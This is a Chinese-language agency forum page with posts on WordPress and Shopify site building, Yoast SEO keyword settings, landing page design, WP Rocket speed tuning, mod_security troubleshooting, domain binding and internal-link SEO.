Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用
WordPress

WordPress

WordPress建站及WordPress SEO相关话题
Shopify

Shopify

Shopify建站及Shopify SEO相关话题
Google SEO

Google SEO

Google SEO相关话题
SEM

SEM

SEM相关话题
Zoho

Zoho

Zoho SAAS相关产品使用话题讨论
EDM

EDM

讨论Email Marketing相关话题
Symantec SSL

Symantec SSL

讨论Symantec SSL安全相关话题
隽永东方售后服务

隽永东方售后服务

隽永东方售后服务专区

SEO站内优化之关键词

WordPresswendy 发表了文章 • 2 个评论 • 226 次浏览 • 2019-01-20 17:08 • 来自相关话题

本文主要讲述站内优化之关键词设定方法以及在wordpress中如何设置关键词。  
 
谷歌的排名是根据标题,描述,关键词的匹配去定位你的网站。不做SEO的网站,Google通常是随机抓取文字,这样的网站一般很难有比较好的排名和权重。让谷歌和客户都无法很好的理解你这个网页是干嘛用的,这样怎么能有排名呢?因此需要对整个网站进行分析:关键词,长尾词以及元描述等。再通过插件对每个页面进行设置。 在wordpress中就有这样一款插件用来帮助我们查看每个页面的SEO设置情况。在开始插件使用之前我们先来看一下SEO的注意点。
 
1.SEO设置注意点 
 
SEO参数主要包括:标题,描述,关键字,然后就是文章的结构了。这里列出需要注意的几点: 
1.SEO标题不要有介词,例如你写的一篇文章是how to get customer information, 那么你的标题里最好写Get customer information,而不是how to get customer information,这样不利于优化。
2.文章链接中(seo那里就是slug)更不能出现介词,这种介词在seo的词汇里叫stop words,看到stop你应该就知道了不是什么好词汇了。 
3.描述(Meta description)中第一句最好就直接copy你的关键字,这样可以很好的匹配你的标题,譬如呼应上面标题,我第一行可能会写 get customer’s information skills will be provided here. 这样匹配度很高,google就会判定你这篇文章讲的是get customer information. 
4.关键字(focus keywords)这个很重要,呼应上面标题和描述我就会写get customer information,这个关键字就很好了。我的整篇文章也是针对这个关键字写的,阐述清楚我是怎么得到客户信息的方法这些。与其说是关键字,不如说这是你的文章的中心思想。所以在写文章之前,一定要考虑清楚确定关键字。不知道关键字,就别写了。 
5.要有H2 小标题,尽量给自己的文章取小标题,这样简洁明了。而且最好有一个小标题还要包含你的关键字。 
6.在文章首段需要注意把你自己的关键字写进去。譬如这篇文章主要是想把 Solar Off- Grid Power Plant System,这个关键字推上去,则你就需要在第一段把这个关键字写进去。一般出现一次就够了,在文章中再出现个一两次就可以了。这就比较自然。 
7.每篇文章中配一张图片,图片要把alt属性填好,也就是把这个关键字写到图片的标题上,还有下面那个alt也写好。
8.一篇文章配一个链接,这个链接其实就是call to action, 客户看完这篇文章,就引导他去干件事,譬如给你发询盘这样。
 
 
 
2.word press设置方法 
2.1 先在wordpress后台下载并安装SEO插件







2.2  SEO yoast功能使用
Yoast seo 会在wp网站的所有页面(page、post、portfolio等)后台内容编辑器下方加上yoast seo设置菜单

















Yoast Seo会给你的设置进行评分,绿色的就是好,黄色就是一般,红色就不及格。如果是不及格的话,就可以看下对方给你的提示,根据提示进行修改即可。 标题的描述最好精炼。





 
Focus keyword的内容填写的也是你的页面设置的关键词,它的作用是给seo yoast 一个给你页面打分的标准,如果你不填,就没办法对你的页面进行测评,也法给出改善建议。





 
 
以上就是SEO关键词以及在word press中如何设置关键词的注意点。SEO的营销优化不是一蹴而就的事情,想要网站的排名慢慢靠前,并且网站的权重升高,需要网站的负责人配合营销人员一起逐步去完善网站的方方面面,一步一个脚印才能走得扎实走的稳健,若是利用捷径,是会在短期内会有排名,但是这种排名后期很快会被刷下来,并且被惩罚一年或者几年无法收录,网站被注入病毒等等,这样根本就得不偿失了。 查看全部
本文主要讲述站内优化之关键词设定方法以及在wordpress中如何设置关键词。  
 
谷歌的排名是根据标题,描述,关键词的匹配去定位你的网站。不做SEO的网站,Google通常是随机抓取文字,这样的网站一般很难有比较好的排名和权重。让谷歌和客户都无法很好的理解你这个网页是干嘛用的,这样怎么能有排名呢?因此需要对整个网站进行分析:关键词,长尾词以及元描述等。再通过插件对每个页面进行设置。 在wordpress中就有这样一款插件用来帮助我们查看每个页面的SEO设置情况。在开始插件使用之前我们先来看一下SEO的注意点。
 
1.SEO设置注意点 
 
SEO参数主要包括:标题,描述,关键字,然后就是文章的结构了。这里列出需要注意的几点: 
1.SEO标题不要有介词,例如你写的一篇文章是how to get customer information, 那么你的标题里最好写Get customer information,而不是how to get customer information,这样不利于优化。
2.文章链接中(seo那里就是slug)更不能出现介词,这种介词在seo的词汇里叫stop words,看到stop你应该就知道了不是什么好词汇了。 
3.描述(Meta description)中第一句最好就直接copy你的关键字,这样可以很好的匹配你的标题,譬如呼应上面标题,我第一行可能会写 get customer’s information skills will be provided here. 这样匹配度很高,google就会判定你这篇文章讲的是get customer information. 
4.关键字(focus keywords)这个很重要,呼应上面标题和描述我就会写get customer information,这个关键字就很好了。我的整篇文章也是针对这个关键字写的,阐述清楚我是怎么得到客户信息的方法这些。与其说是关键字,不如说这是你的文章的中心思想。所以在写文章之前,一定要考虑清楚确定关键字。不知道关键字,就别写了。 
5.要有H2 小标题,尽量给自己的文章取小标题,这样简洁明了。而且最好有一个小标题还要包含你的关键字。 
6.在文章首段需要注意把你自己的关键字写进去。譬如这篇文章主要是想把 Solar Off- Grid Power Plant System,这个关键字推上去,则你就需要在第一段把这个关键字写进去。一般出现一次就够了,在文章中再出现个一两次就可以了。这就比较自然。 
7.每篇文章中配一张图片,图片要把alt属性填好,也就是把这个关键字写到图片的标题上,还有下面那个alt也写好。
8.一篇文章配一个链接,这个链接其实就是call to action, 客户看完这篇文章,就引导他去干件事,譬如给你发询盘这样。
 
 
 
2.word press设置方法 
2.1 先在wordpress后台下载并安装SEO插件

2.1_.png



2.2  SEO yoast功能使用
Yoast seo 会在wp网站的所有页面(page、post、portfolio等)后台内容编辑器下方加上yoast seo设置菜单

2.2_.1_.png


2.2_.2_.png


2.2_.3_.png



Yoast Seo会给你的设置进行评分,绿色的就是好,黄色就是一般,红色就不及格。如果是不及格的话,就可以看下对方给你的提示,根据提示进行修改即可。 标题的描述最好精炼。

2.2_.4_.png

 
Focus keyword的内容填写的也是你的页面设置的关键词,它的作用是给seo yoast 一个给你页面打分的标准,如果你不填,就没办法对你的页面进行测评,也法给出改善建议。

2.2_.5_.png

 
 
以上就是SEO关键词以及在word press中如何设置关键词的注意点。SEO的营销优化不是一蹴而就的事情,想要网站的排名慢慢靠前,并且网站的权重升高,需要网站的负责人配合营销人员一起逐步去完善网站的方方面面,一步一个脚印才能走得扎实走的稳健,若是利用捷径,是会在短期内会有排名,但是这种排名后期很快会被刷下来,并且被惩罚一年或者几年无法收录,网站被注入病毒等等,这样根本就得不偿失了。

Landing page制定的各行业案例

Google SEOcarol 发表了文章 • 1 个评论 • 241 次浏览 • 2019-01-20 11:58 • 来自相关话题

作为数字营销人员,我们几乎总是在寻找能够产生更多潜在客户的方法,着陆页是我们入站营销的一个基本方法。
 
首先,什么是着陆页?
根据定义,着陆页是指用户“登陆”网站的页面,通常是通过点击google ads所设置号召性广告或其他外部网站上的链接。更具体地说,这个页面能够让用户通过提交自身的联系方式(通常通过填写表格)来获得他们所需的信息。

要将网页视为着陆页,必须符合以下条件:
该页面有一个收集潜在客户的表单该页面的唯一目的是从该表单中收集信息​
从入站营销角度来看,目标是收集潜在客户,但我们也要从用户角度出发考虑他们的的体验感。大多数人不会因为页面很漂亮就泄露自己的联系信息(尤其是地址或电话号码)。所以着陆页没有必要提供一些非常大气或者极端的东西——要满足用户需求或缓解抑制用户购买欲望的点(比如价格)
 
话不多说这篇文章给大家介绍一些不同营销目的、不同行业的着陆页(模板)作为参考。
1.超级着陆页(内容多)

这个页面通常是会通过展示一些特价优惠的内容,其中包含其他网站无法提供的产品相关信息。
以webprofits这个网站原先的着陆页为例。





在顶部,有一个突出的CTA按钮可以了解更多信息 。通过向下箭头来鼓励用户滚动。其余部分提供了用户提供相关信息后能够获得的详细内容。此外,也包括战略性的CTA,让用户回到顶部填写表格,例如“Let’s talk”。
 
2.引导用户提交免费试用/演示的着陆页
 有纠结情绪的用户有很多,在够买前总是有各种各样的疑虑。有什么更好的方法来说服那些对你的服务感到困惑的人呢?——提供一次免费服务,即使用户决定在免费试用期后取消,我们仍然有更多机会来转化这个潜在客户。在做这方面的着陆页时可以考虑:

产品优势/价值
顾客评论
试用条款:试用期限,可用功能,任何保证(无需信用卡,无风险等)​​

比如说卖软件、设备、小商品的





 
3.折扣/推广新产品











4、工业















 

5.小清新着陆页






表格在顶端,清楚地说明了用户会得到什么。

通过三个简单步骤展示整个过程如何完成,最后一步是最终结果。​

总之,着陆页一定要围绕好制定的营销策略,突出主题,不要添加无关或过多的内容。
 
着陆页设计的注意事项
 
1、删除导航元素
网站页面与着陆页之间的第一个主要区别是着陆页不应包含网站导航。着陆页唯一可点击的链接应该我们想要达到目的按钮,或者是能让用户获得更多信息的链接。将着陆页链接到常规主页也是可以的。
 
2、表单只包含最重要信息
如果目的是让用户注册newsletter,确保用户只要提交电子邮箱就可以了。除此之外的任何事情都会降低他们完成并提交表格的机会。如果目的是让用户购买产品,要求要尽可能的简单。只需询问重要信息:结算和送货信息,再加上确认屏幕,然后再下订单。保持简洁明了。
 
3、注意分区
确保号召性用语位于页面顶部附近,有人可以点击它而无需滚动。目的是希望至少有一部分访问者在到达着陆页后就可以立即达到我们的目的。在页面顶部附近进行号召性用语,可以让重复进入网页的用户更方便。
 
4、突出号召性文字
 
Landing page还是一门学问,还是要多看站多看报,少吃零食多赚钱! 查看全部
作为数字营销人员,我们几乎总是在寻找能够产生更多潜在客户的方法,着陆页是我们入站营销的一个基本方法。
 
首先,什么是着陆页?
根据定义,着陆页是指用户“登陆”网站的页面,通常是通过点击google ads所设置号召性广告或其他外部网站上的链接。更具体地说,这个页面能够让用户通过提交自身的联系方式(通常通过填写表格)来获得他们所需的信息。

要将网页视为着陆页,必须符合以下条件:
  • 该页面有一个收集潜在客户的表单
  • 该页面的唯一目的是从该表单中收集信息​

从入站营销角度来看,目标是收集潜在客户,但我们也要从用户角度出发考虑他们的的体验感。大多数人不会因为页面很漂亮就泄露自己的联系信息(尤其是地址或电话号码)。所以着陆页没有必要提供一些非常大气或者极端的东西——要满足用户需求或缓解抑制用户购买欲望的点(比如价格)
 
话不多说这篇文章给大家介绍一些不同营销目的、不同行业的着陆页(模板)作为参考。
1.超级着陆页(内容多)


这个页面通常是会通过展示一些特价优惠的内容,其中包含其他网站无法提供的产品相关信息。
以webprofits这个网站原先的着陆页为例。


Screen_Shot_2017-07-20_at_1_看图王.web_.jpg

在顶部,有一个突出的CTA按钮可以了解更多信息 。通过向下箭头来鼓励用户滚动。其余部分提供了用户提供相关信息后能够获得的详细内容。此外,也包括战略性的CTA,让用户回到顶部填写表格,例如“Let’s talk”。
 
2.引导用户提交免费试用/演示的着陆页
 有纠结情绪的用户有很多,在够买前总是有各种各样的疑虑。有什么更好的方法来说服那些对你的服务感到困惑的人呢?——提供一次免费服务,即使用户决定在免费试用期后取消,我们仍然有更多机会来转化这个潜在客户。在做这方面的着陆页时可以考虑:


产品优势/价值
顾客评论
试用条款:试用期限,可用功能,任何保证(无需信用卡,无风险等)​​


比如说卖软件、设备、小商品的

FireShot_Capture_1_-_The_Inbound_Marketers_Po__-_https___offers.impactbnd_.com_the-buyer-persona-kit_.png

 
3.折扣/推广新产品

car-discount-desktop.png


vege-desktop.png


4、工业

1280.jpg


1280_(1).jpg


construction_destkop.jpg

 

5.小清新着陆页

pasted_image_0.png


表格在顶端,清楚地说明了用户会得到什么。

通过三个简单步骤展示整个过程如何完成,最后一步是最终结果。​


总之,着陆页一定要围绕好制定的营销策略,突出主题,不要添加无关或过多的内容。
 
着陆页设计的注意事项
 
1、删除导航元素
网站页面与着陆页之间的第一个主要区别是着陆页不应包含网站导航。着陆页唯一可点击的链接应该我们想要达到目的按钮,或者是能让用户获得更多信息的链接。将着陆页链接到常规主页也是可以的。
 
2、表单只包含最重要信息
如果目的是让用户注册newsletter,确保用户只要提交电子邮箱就可以了。除此之外的任何事情都会降低他们完成并提交表格的机会。如果目的是让用户购买产品,要求要尽可能的简单。只需询问重要信息:结算和送货信息,再加上确认屏幕,然后再下订单。保持简洁明了。
 
3、注意分区
确保号召性用语位于页面顶部附近,有人可以点击它而无需滚动。目的是希望至少有一部分访问者在到达着陆页后就可以立即达到我们的目的。在页面顶部附近进行号召性用语,可以让重复进入网页的用户更方便。
 
4、突出号召性文字
 
Landing page还是一门学问,还是要多看站多看报,少吃零食多赚钱!

WordPress站点优化突破Google PageSpeed Insights瓶颈喜提满分

Google SEOOwen 发表了文章 • 1 个评论 • 281 次浏览 • 2019-01-17 08:56 • 来自相关话题

虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:









这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。




就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。














然后就是由wordpress后台插件WPBakery建造的静态页面




就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:









  查看全部
虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
图片1.png


图片2.png

这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
图片3.png

就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
图片4.png


图片5.png


图片6.png

然后就是由wordpress后台插件WPBakery建造的静态页面
图片7.png

就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
图片8.png


图片9.png

 

WordPress疑难杂症之后台控制台503、500 error等

WordPressLeo 发表了文章 • 1 个评论 • 213 次浏览 • 2019-01-15 16:57 • 来自相关话题

此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:




4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  

trust the process​






 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)




查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,








这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。





 

  查看全部
此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
1.png

4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  


trust the process​



2.png

 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
3.png

查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
4.png

5.png

这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。

6.png

 

 

开启shopfiy之旅——域名注册以及绑定

Shopifychad 发表了文章 • 1 个评论 • 217 次浏览 • 2019-01-12 11:07 • 来自相关话题

shopify以精简的后台操作,安全的收款方式,多样的推广渠道,越来越受到中小型电商用户的喜爱。很多人在搭建网站的过程中,对于shopify默认域名,以及如何注册筛选顶级域名,都会稍有疑惑。我在这里分享一些粗鄙的经验,以便大家参考之用。如有错误,欢迎指正。
关于默认域名
一般是以××××.shopfiy.com,我们称这种域名是非顶级域名。如果你用这种域名就显得多low啊。毕竟作为电商的牌面,加了个shopify,不仅添加了无意义的单词,给顾客带来记忆负担,更是给shopify打了广告(当然不给shopify打广告,人家也是那么牛逼)。所以果断放弃这种域名,咱丢不起那人。
关于域名筛选
一个好的域名,是一个成功电商的开始,所以这一步一定要慎重。购买域名都是以年为单位,价格在50-100/年等,所以果断去第三方平台购买域名。国内平台推荐万网(阿里云旗下的,马云爸爸强力推荐)。当然当你确定好域名之后,不要立即购买,要查查它有没有黑历史。如果你碰到那种搞过非法的活动、行为的域名,你是哭都来不及。因为这种域名会在google搜索里留存很多垃圾外链,会让你后期推广头疼不已。甚至可能google搜索引擎将其列为黑名单,一辈子无法翻身。所以呀,要提前查查域名的清白。
首先推荐查询域名历史信息的网站:whoisrequest,在搜索框里搜索×××.com等(不要带WWW),即可看到域名历史存在信息




这里推荐大家不要用历史信息太多的域名,你懂得,很难受。谁知道他们干了什么事呢?
其次大家在选在域名的时候要查询下注册的域名,如:×××.com或者品牌,是否已经在所在市场的国家被注册了,是否侵权了?例如美国的一个查询版权的网站:uspto,




我没有遇到过侵权的问题,所以具体操作方式,大家自己摸索下。
关于域名解析
域名解析,老生常谈,网上教程数量都已经可以赶超中华人民的数量了。所以这里仅以万网域名解析为例,有需要咨询别个解析方式的朋友也可以给我们留言,会及时回复滴。
登录阿里云控制后台,找到域名:




进入域名解析列表:




双击指定域名,进入新手指导




将www设置成shops.myshopify.com,如图




将@设置成23.227.38.32,如图




过10分钟左右,域名解析即可生效。
关于域名绑定
解析好的域名当然不能自动生效,我们只是将其指向到shopify服务器。我们还要最后一步,去网站后台绑定域名。当然过程更是so easy ,废话不多少,上图为证:
找到domain部分,即域名部分:




之后将解析好的域名(不带www)填入,next即可链接到解析好的链接。如图:




最后可以验证是否对接完成,如图:




好了,大功告成,开始你的shopify电商之旅吧!
  查看全部
shopify以精简的后台操作,安全的收款方式,多样的推广渠道,越来越受到中小型电商用户的喜爱。很多人在搭建网站的过程中,对于shopify默认域名,以及如何注册筛选顶级域名,都会稍有疑惑。我在这里分享一些粗鄙的经验,以便大家参考之用。如有错误,欢迎指正。
  • 关于默认域名

一般是以××××.shopfiy.com,我们称这种域名是非顶级域名。如果你用这种域名就显得多low啊。毕竟作为电商的牌面,加了个shopify,不仅添加了无意义的单词,给顾客带来记忆负担,更是给shopify打了广告(当然不给shopify打广告,人家也是那么牛逼)。所以果断放弃这种域名,咱丢不起那人。
  • 关于域名筛选

一个好的域名,是一个成功电商的开始,所以这一步一定要慎重。购买域名都是以年为单位,价格在50-100/年等,所以果断去第三方平台购买域名。国内平台推荐万网(阿里云旗下的,马云爸爸强力推荐)。当然当你确定好域名之后,不要立即购买,要查查它有没有黑历史。如果你碰到那种搞过非法的活动、行为的域名,你是哭都来不及。因为这种域名会在google搜索里留存很多垃圾外链,会让你后期推广头疼不已。甚至可能google搜索引擎将其列为黑名单,一辈子无法翻身。所以呀,要提前查查域名的清白。
首先推荐查询域名历史信息的网站:whoisrequest,在搜索框里搜索×××.com等(不要带WWW),即可看到域名历史存在信息
1.png

这里推荐大家不要用历史信息太多的域名,你懂得,很难受。谁知道他们干了什么事呢?
其次大家在选在域名的时候要查询下注册的域名,如:×××.com或者品牌,是否已经在所在市场的国家被注册了,是否侵权了?例如美国的一个查询版权的网站:uspto
2.png

我没有遇到过侵权的问题,所以具体操作方式,大家自己摸索下。
  • 关于域名解析

域名解析,老生常谈,网上教程数量都已经可以赶超中华人民的数量了。所以这里仅以万网域名解析为例,有需要咨询别个解析方式的朋友也可以给我们留言,会及时回复滴。
登录阿里云控制后台,找到域名:
3.png

进入域名解析列表:
4.png

双击指定域名,进入新手指导
5.png

将www设置成shops.myshopify.com,如图
6.png

将@设置成23.227.38.32,如图
7.png

过10分钟左右,域名解析即可生效。
  • 关于域名绑定

解析好的域名当然不能自动生效,我们只是将其指向到shopify服务器。我们还要最后一步,去网站后台绑定域名。当然过程更是so easy ,废话不多少,上图为证:
找到domain部分,即域名部分:
10.png

之后将解析好的域名(不带www)填入,next即可链接到解析好的链接。如图:
11.png

最后可以验证是否对接完成,如图:
12.png

好了,大功告成,开始你的shopify电商之旅吧!
 

针对隽永东方建站客户产品添加,资料整理建议

WordPressLeo 发表了文章 • 1 个评论 • 247 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

网站内链优化——内链设置指南

Google SEOcarol 发表了文章 • 1 个评论 • 359 次浏览 • 2019-01-09 11:19 • 来自相关话题

写在前言:如果你对内链即其基本状况甚是了解,那么可以直接下拉看设置方法及注意事项!!!什么是内部链接?
 
    内部链接能够将网站的一个页面连接到网站的另一个页面。其展现形式如图:

     



 
     当前我们所建立的网站大多以这种方式进行连接。这是一个简单的网站设计和架构问题,搜索引擎也十分喜欢这类型的链接方式。
 
为什么我们需要内部链接?
 
内链是SEO十分重要的武器之一,设定内链的主要作用:
 
改善网站的索引
         如果网站具有强大的内链体系,Google抓取工具可以更轻松地查找发布和链接的新内容。
                   



内链增加了深层内容页面接收backlinks的能力
          创建强大的内链结构,能够在整个网站中创建清晰的点击路径和索引来提高内部页面的链接获取潜力。合理的站内链接会使引擎更加准确的认识文章内容所要表达的信息,从而使长尾关键词排名提升,网站权重增加。
内部链接为用户提供价值这是最重要的一点。花时间为网站添加内链可以增加每篇内容对用户的价值,通过内链可以让用户轻松找到网站上其他位置创建的其他资源——将用户带到目标网页。而且,内链还能够帮助用户更长时间地留在网站上并增加用户对网站的信任。

 内链设置方法
 
       好吧!其实上面的文案主要是介绍了内链并介绍了其重要性。重点干货还是这一部分。在进行内链设置前要先保证以下两点:
网站上已有撰写了的内容。即使只有一篇单一的文章,那也没关系。那是我们做内链的起点。网站会不断地进行文案内容的更新。为了使内链有效运作,制定定期更新计划非常重要。
 
查阅网站各页面内链数量大致情况
           打开google search console>links>打开 internal links  查看网站当前各个网页的内链数量

             



最好是在两篇文章中进行链接
           最好的内部链接是将一篇文章连接到另一篇文章的链接。这在站点深处创建了一个强大的内部链接结构。

          特别注意: 如果我们网站导航是正常的,网站重要的页面如主页,about us,contact us会有足够的链接指向这些页面。所以我们做内链时无需链接到这些页面!(在google search console可以证实这个情况,过多的指向这些页面也会被认为是作弊)
使用锚文本创建文本链接
           什么样的链接效果最好?
          很简单:含有描述性锚文本(anchor text)的链接。内链应该使用锚文本,建议使用描述目标页面的短语进行链接。举几个例子:

假如要链接到关于google trend的文章


      When planning website content, we can use google trends to get current events.


 假如要将更多流量导向产品页面比如我们官网建站营销,(文案是copy进行修改的,以其中一段进行举例,正文应该有800字左右)


Send paid traffic to content 

Marketing is like dating. You can’t expect to send cold traffic to a product or service and expect people to buy a high-ticket item.You’ll find that paid advertising is much more effective and affordable for selling high ticket items if you send people to an educational piece of content such as a blog post. And then remarketing those visitors and then driving them to your product or service.


In the long run, this is cheaper if you are selling products for above $500 and it is more effective as paid ads to content are cheaper than paid ads to landing pages.If you are not sure how to develop a plan, you can also consult a professional marketing platform to ask for help.

       我们要做的就是是将链接的主题与相关短语进行关联。网站具有“freshness value”,Google会对其进行检测并用作排名算法的一部分。用中文来说即“新鲜的血液给陈腐的大地带来了生机。”使用新链接ping旧网页有助于提高在搜索引擎中增加排名的可能性。
 
使用新的内链更新旧文章
          
         当更新旧的网页时,Google的抓取工具会重新对其进行进行索引,并且很可能会增加其在SERP中的排名(这个不仅是博客页,产品页,主页都可以进行文案更改的)。建议定期更新网站文案(至少一年一次)。更新方法真的很简单:
在开头添加一段新内容。在中间添加1-2个新段落和图片。为新创建的内容添加1-2个新的内链。
 
在符合逻辑的地方添加链接​

         需要做的是查找与目标页面能够相关的文案区域进行链接。要增加产品内链可以在结尾处增加提示访客行动的链接。数字营销的目标是吸引访问者。我们可以通过强大的营销声明进行呈现。在文章的结尾可以委婉的给出链接。以下是一些内部链接示例,可以将其放在营销页面的底部,作为号召性用语。(图片来自Andy Crestodina )
 
                 




避免过度优化注意事项
 
不要刻意使用关键字作为内链锚文本

 ​例如:Check out our nice good well page for more information.
(链接到: example.com/nice-good-well.htm  假设的是nice good well 是关键词,这样的锚文本最好不要尝试,尽早放弃)


 或者 We sell top-rated nice good well  
(链接到: example.com/excellent-nice-good-well.htm)

      锚文本过多的使用目标页面的具体url或者关键词是不好的。最恰当的方法是将这些锚文本带入文本段落中,通过创建一个长的锚文本,稀释anchor text中的关键字。

Visit my site Carol for more exact advice.Let’s do a good schedule .(以Carol为anchor text)
 


或者用长句The desert is the most important component of the wedding. Don’t ruin it.

 
避免将所有内链或外链指向顶级导航页面
         外链链接的情况也可以在google search console >link >top link page
         大多数情况下,网站的大部分链接都指向主页或顶级导航页面。当创建大量链接到主页或主要导航页面,如“contact us”,“about us”或“blog”时,会出现过度优化问题。因为这些页面本身就可以获得大量链接。相反,需要添加的是指向深层页面的内链来加强网站链接配置文件。
同一页面尽量不要出现相同的内链一个链接可以配几个关键词,但是一个关键词只能配一个链接。同一个页面中链向同一个页面的链接最好只出现一次。如果一个关键词配了多个链接,就很容易导致搜索引擎无法判断哪个是正确的链接页面,进而将之归入重复页面,从而无法获得任何权重。
 
一般800字的文案,有3-4个内链即可。
        通常一篇800字的文案,有3-4个内链就够了,这样既能保证有一定的内链,又不会让关键词密度过高。当然一定要保证内链到的目标页面相关性高,不然作用不大。
 
一些容易被忽视的内链
